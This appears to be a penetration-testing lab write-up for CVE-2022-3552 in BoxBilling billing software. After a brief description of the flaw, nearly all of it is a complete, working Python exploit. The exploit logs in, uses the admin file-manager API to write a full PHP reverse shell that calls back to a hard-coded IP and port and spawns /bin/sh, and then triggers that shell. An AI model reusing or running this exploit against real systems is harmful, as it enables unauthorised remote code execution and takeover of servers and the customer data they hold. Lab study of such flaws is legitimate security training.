CVE-2022-3552


A vulnerability was found in boxbilling (Billing Software) and classified as critical. This issue affects an unknown code. The manipulation with an unknown input leads to a unrestricted upload vulnerability. Using CWE to declare the problem leads to CWE-434. The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product’s environment. Impacted is confidentiality, integrity, and availability.

Exploit


Exploit found online

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/bullybox]
└─$ git clone https://github.com/0xk4b1r/CVE-2022-3552                    
Cloning into 'CVE-2022-3552'...
remote: Enumerating objects: 19, done.
remote: Counting objects: 100% (19/19), done.
remote: Compressing objects: 100% (15/15), done.
remote: Total 19 (delta 5), reused 16 (delta 4), pack-reused 0 (from 0)
Receiving objects: 100% (19/19), 5.63 KiB | 5.63 MiB/s, done.
Resolving deltas: 100% (5/5), done.

Downloading the exploit package

Modification


#!/usr/bin/ python
 
from pwn import *
from sys import exit
import requests
import argparse
 
 
def get_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("-d", "--domain", dest="domain", help="Domain URL Address.")
    parser.add_argument("-u", "--email", dest="email", help="Login Username.")
    parser.add_argument("-p", "--password", dest="password", help="Login Password.")
    parser.add_argument("-li", "--local-ip", dest="local_ip", help="Enter your IP Address.")
    parser.add_argument("-lp", "--port", dest="port", help="Enter the port number.")
    options = parser.parse_args()
    return options
 
 
class Exploit:
    def __init__(self, url, email, password):
        self.session = None
        self.url = url
        self.email = email
        self.password = password
        # self.rce_command = rce_command
 
    def login(self):
        self.session = requests.Session()
        login_url = self.url + "/api/guest/staff/login"
        login_data = {
            "email": {self.email},
            "password": {self.password},
            "remember": 1,
        }
        try:
            login_session = self.session.post(login_url, data=login_data)
            if "Check your login details" in login_session.text:
                log.warn("login failed!")
                exit(0)
            if "Check your login details" not in login_session.text:
                log.success("Successfully logged in")
 
        except KeyboardInterrupt:
            log.success("Exiting..")
 
    def box_billing_rce_exploit(self):
        try:
            rce_php_payload = """
  <?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
 
  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '192.168.45.218';  // You have changed this
  $port = 9999;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;
 
  //
  // Daemonise ourself if possible to avoid zombies later
  //
 
  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }
 
    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }
 
    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }
 
  // Change to a safe directory
  chdir("/");
 
  // Remove any umask we inherited
  umask(0);
 
  //
  // Do the reverse shell...
  //
 
  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }
 
  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );
 
  $process = proc_open($shell, $descriptorspec, $pipes);
 
  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }
 
  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);
 
  printit("Successfully opened reverse shell to $ip:$port");
 
  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }
 
    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }
 
    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }
 
    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }
 
    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }
 
  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);
 
  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }
  ?> 
            """
            new_payload_file = "new_exploit.php"
            request_headers = {
                "Content-Type":  "application/x-www-form-urlencoded"
            }
            data = {
                "order_id": 1,
                "path": new_payload_file,
                "data": rce_php_payload
            }
            self.session.post(
                self.url + "/index.php?_url=/api/admin/Filemanager/save_file",
                headers=request_headers,
                data=data
            )
            log.success("Payload saved successfully")
            log.success("Getting Shell")
            requests.get(self.url + "/" + new_payload_file)
            exit(0)
 
 
        except KeyboardInterrupt:
            log.success("Exiting..")
 
 
if __name__ == "__main__":
    options = get_arguments()
 
    url_ip = options.domain
    box_billing_email = options.email
    box_billing_password = options.password
    exploit = Exploit(url_ip, box_billing_email, box_billing_password)
 
    exploit.login()
    exploit.box_billing_rce_exploit()

It uses an embedded PHP reverse shell for payload